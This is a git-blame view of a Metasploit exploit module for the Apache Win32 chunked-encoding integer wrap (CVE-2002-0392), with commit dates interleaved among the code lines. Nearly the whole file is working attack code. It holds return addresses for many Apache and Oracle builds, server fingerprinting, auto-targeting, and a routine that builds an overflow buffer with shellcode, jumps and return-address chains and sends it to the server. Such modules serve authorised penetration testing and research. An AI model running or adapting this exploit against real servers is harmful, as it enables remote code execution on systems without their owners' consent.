Files
metasploit-gs/modules/exploits/windows/http/apache_chunked.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

316 lines
10 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = GoodRanking
2013-08-30 16:28:54 -05:00
2010-07-07 17:38:59 +00:00
HttpFingerprint = { :pattern => [ /Apache/ ] }
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
def initialize(info = {})
super(update_info(info,
2006-10-11 08:31:54 +00:00
'Name' => 'Apache Win32 Chunked Encoding',
'Description' => %q{
2010-03-27 01:30:40 +00:00
This module exploits the chunked transfer integer wrap
2006-10-11 08:31:54 +00:00
vulnerability in Apache version 1.2.x to 1.3.24. This
particular module has been tested with all versions of the
official Win32 build between 1.3.9 and 1.3.24. Additionally,
it should work against most co-branded and bundled versions
of Apache (Oracle 8i, 9i, IBM HTTPD, etc).
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
You will need to use the Check() functionality to determine
the exact target version prior to launching the exploit. The
version of Apache bundled with Oracle 8.1.7 will not
automatically restart, so if you use the wrong target value,
the server will crash.
},
'Author' => [ 'hdm', 'jduck' ],
2006-10-11 08:31:54 +00:00
'References' =>
[
2006-11-28 17:18:43 +00:00
[ 'CVE', '2002-0392' ],
[ 'OSVDB', '838'],
2015-10-27 12:41:32 -05:00
[ 'BID', '5033' ]
2006-10-11 08:31:54 +00:00
],
'Privileged' => true,
'Platform' => 'win',
'Payload' =>
{
'Space' => 987,
'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
'MinNops' => 200,
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
},
'Targets' =>
2006-10-11 08:31:54 +00:00
[
[ 'Windows Generic Bruteforce', {} ],
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
# Official Apache.org win32 builds
[ 'Apache.org Build 1.3.9->1.3.19',
2006-10-11 08:31:54 +00:00
{
'Ret' => 0x00401151,
2006-10-11 08:31:54 +00:00
'Pad' => [6,2,0,4,1,3,5,7]
}
],
[ 'Apache.org Build 1.3.22->1.3.24',
2006-10-11 08:31:54 +00:00
{
'Ret' => 0x00401141,
2006-10-11 08:31:54 +00:00
'Pad' => [2,6,0,4,1,3,5,7]
}
],
[ 'Apache.org Build 1.3.19->1.3.24',
2006-10-11 08:31:54 +00:00
{
'Ret' => 0x6ff6548d,
'Pad' => [2,6,0,4,1,3,5,7]
}
],
[ 'Apache.org Build 1.3.22',
{
'Ret' => 0x6ff762ac,
'Pad' => [2,6,0,4,1,3,5,7]
}
],
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
# Return to Win9xConHook.dll via call ebx
[ 'Apache.org Build 1.3.17->1.3.24 (Windows 2000)',
{
'Ret' => 0x1c0f13e5,
'Pad' => [2,6,0,4,1,3,5,7]
}
],
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
# Return to Win9xConHook.dll via call esi
[ 'Apache.org Build 1.3.17->1.3.24 (Windows NT)',
{
'Ret' => 0x1c0f1033,
'Pad' => [2,6,0,4,1,3,5,7]
}
],
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
# Interesting return to PEB trick for Windows 2003 systems...
[ 'Windows 2003 English SP0',
{
'Ret' => 0x7ffc0638,
'Pad' => [2,6,5,4,1,3,0,7]
}
],
2013-08-30 16:28:54 -05:00
# Pop/Pop/Return on Windows 2000
2006-10-11 08:31:54 +00:00
[ 'Windows 2000 English',
{
'Ret' => 0x75022ac4,
'Pad' => [2,6,5,4,1,3,0,7]
}
],
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
# Oracle HTTPD: [ 8.1.7 ] (one shot)
# Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4
# OpenSSL/0.9.5a mod_perl/1.24
[ 'Oracle 8.1.7 Apache 1.3.12',
{
'Ret' => 0x1d84d42c,
'Pad' => [7]
}
],
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
# Oracle HTTPD: [ 9.1.0 ] (multiple shots)
# Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4
# OpenSSL/0.9.5a mod_perl/1.24
[ 'Oracle 9.1.0 Apache 1.3.12',
{
'Ret' => 0x10016061,
'Pad' => [5,6,0,4,1,3,2,7]
}
],
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
# Oracle HTTPD: [ 9.2.0 ] (multiple shots)
# Oracle HTTP Server Powered by Apache/1.3.22 (Win32)
# mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b
# mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25
[ 'Oracle 9.2.0 Apache 1.3.22',
{
'Ret' => 0x6ff6427a,
'Pad' => [5,6,0,4,1,3,2,7]
}
],
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
# Generic debugging targets
[ 'Debugging Target',
{
'Ret' => 0xcafebabe,
'Pad' => [0,1,2,3,4,5,6,7]
}
]
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2002-06-19',
2006-10-11 08:31:54 +00:00
'DefaultTarget' => 0))
end
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
def check
response = send_request_raw({'uri' => '/'}, 5)
2006-10-11 08:31:54 +00:00
if response.nil?
2014-01-21 11:07:03 -06:00
vprint_status("No response to request")
return Exploit::CheckCode::Unknown
2006-10-11 08:31:54 +00:00
end
2013-08-30 16:28:54 -05:00
2010-07-07 17:38:59 +00:00
http_fingerprint({ :response => response }) # Custom Server header matching
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
code = Exploit::CheckCode::Appears
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
case response['Server']
when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"
2014-01-21 11:07:03 -06:00
vprint_status("This looks like an Oracle 8.1.7 Apache service (one-shot only)")
2006-10-11 08:31:54 +00:00
when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"
2014-01-21 11:07:03 -06:00
vprint_status("This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)")
2006-10-11 08:31:54 +00:00
when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"
2014-01-21 11:07:03 -06:00
vprint_status("This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)")
2006-10-11 08:31:54 +00:00
when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/
2014-01-21 11:07:03 -06:00
vprint_status("IBM backported the patch, this system is not vulnerable")
2006-10-11 08:31:54 +00:00
code = Exploit::CheckCode::Safe
when /Apache(-AdvancedExtranetServer)?\/(1\.([0-2]\.[0-9]|3\.([0-9][^0-9]|[0-1][0-9]|2[0-5]))|2\.0.([0-9][^0-9]|[0-2][0-9]|3[0-8]))/
else
code = Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2014-01-21 11:07:03 -06:00
vprint_status("Server: #{response['Server']}")
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
return code
end
2013-08-30 16:28:54 -05:00
def auto_target
response = send_request_raw({'uri' => '/'}, 5)
if response.nil?
print_error("No response to request")
return targets_to_try
end
2013-08-30 16:28:54 -05:00
2010-07-07 17:38:59 +00:00
http_fingerprint({ :response => response }) # Custom Server header matching / automatic target selection
2013-08-30 16:28:54 -05:00
2010-07-07 17:38:59 +00:00
targets_to_try = []
server_hdr = response['Server']
print_status("Server: #{server_hdr}")
2013-08-30 16:28:54 -05:00
case server_hdr
when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"
targets_to_try.push(targets[9])
2013-08-30 16:28:54 -05:00
when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"
targets_to_try.push(targets[10])
2013-08-30 16:28:54 -05:00
when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"
targets_to_try.push(targets[11])
2013-08-30 16:28:54 -05:00
when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/
# fall through
2013-08-30 16:28:54 -05:00
else
# check for apache version ranges
if (server_hdr =~ /Apache\/([^ ]*)/) or (server_hdr =~ /Apache-AdvancedExtranetServer\/([^ ]*)/)
version = $1
2013-08-30 16:28:54 -05:00
#print_status("Apache version: #{version}")
ver = version.split('.')
if (ver.length == 3)
major = ver[0].to_i
minor = ver[1].to_i
rev = ver[2].to_i
if (major == 1 and minor == 3)
targets_to_try.push(targets[1]) if (rev >= 9 and rev <= 19)
targets_to_try.push(targets[2]) if (rev >= 22 and rev <= 24)
targets_to_try.push(targets[3]) if (rev >= 19 and rev <= 24)
targets_to_try.push(targets[4]) if (rev == 22)
2013-08-30 16:28:54 -05:00
# Add the remaining targets, regardless of quality...
if (server_hdr =~ /Win32/)
# targets 4, 5, 6, 7
if (rev >= 17 and rev <= 24)
targets_to_try.push(targets[5])
targets_to_try.push(targets[6])
end
targets_to_try.push(targets[7])
targets_to_try.push(targets[8])
end
end
# Version 1.0 - 1.2, Fall through...
end
# ServerTokens setting isn't giving up enough information ... Might need to try?
end
# Not Apache? Fall through...
end
2013-08-30 16:28:54 -05:00
targets_to_try
end
2013-08-30 16:28:54 -05:00
#
# If auto, ask the auto_target function for a list of
# targets to try...
#
# If not auto, just try the selected target.
#
2006-10-11 08:31:54 +00:00
def exploit
if target_index == 0
targs = auto_target
print_status("Auto-targeting returned #{targs.length} candidates...")
targs.each_with_index { |targ, idx|
# Never try the debug target automatically :)
next if targ.name =~ /Debug/
2006-10-11 08:31:54 +00:00
exploit_target(targ)
}
else
exploit_target(target)
end
end
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
def exploit_target(target)
target['Pad'].each { |pad|
pattern =
rand_text_alphanumeric(3936) +
payload.encoded +
2006-10-11 08:31:54 +00:00
make_nops(6) + "\xe9" + [-900].pack('V') + "pP" +
rand_text_alphanumeric(pad)
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
# Move slightly further back to allow padding changes
pattern +=
"\xeb\xf0\xde\xad" +
[target.ret].pack('V')
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
# Create a chain of return addresses and reverse jumps
254.times { |x|
pattern +=
"\xeb\xf6\xbe\xef" +
[target.ret].pack('V')
}
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
# Even out the request length based on the padding value
# This is required to reliably hit the return address offset
pattern += rand_text_alphanumeric(8 - pad)
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
#
# Regardless of what return we hit, execution jumps backwards to the shellcode:
# _______________ _______________ ___________
# _________ _____________ | ________ | | ______ | | ______
# v | v | v v | | v v | | v v |
# [shellcode] [jmp -949] [pad] [jmp -16] [ret] [jmp -8] [ret] [jmp -8] [ret]
2006-10-11 08:31:54 +00:00
#
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
print_status("Trying #{target.name} [ #{"0x%.8x" % target.ret}/#{pad} ]")
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
# Build the request
2006-12-28 23:42:36 +00:00
send_request_raw({
2006-10-11 09:18:01 +00:00
'uri' => '/',
'headers' =>
2006-10-11 08:31:54 +00:00
{
'Transfer-Encoding' => "CHUNKED"
},
2006-10-11 09:27:39 +00:00
'data' => "FFFFFFF0 " + pattern,
2006-12-28 23:42:36 +00:00
}, 2)
2013-08-30 16:28:54 -05:00
2006-10-11 08:31:54 +00:00
# Check the handler
handler
}
end
2009-05-13 17:39:42 +00:00
end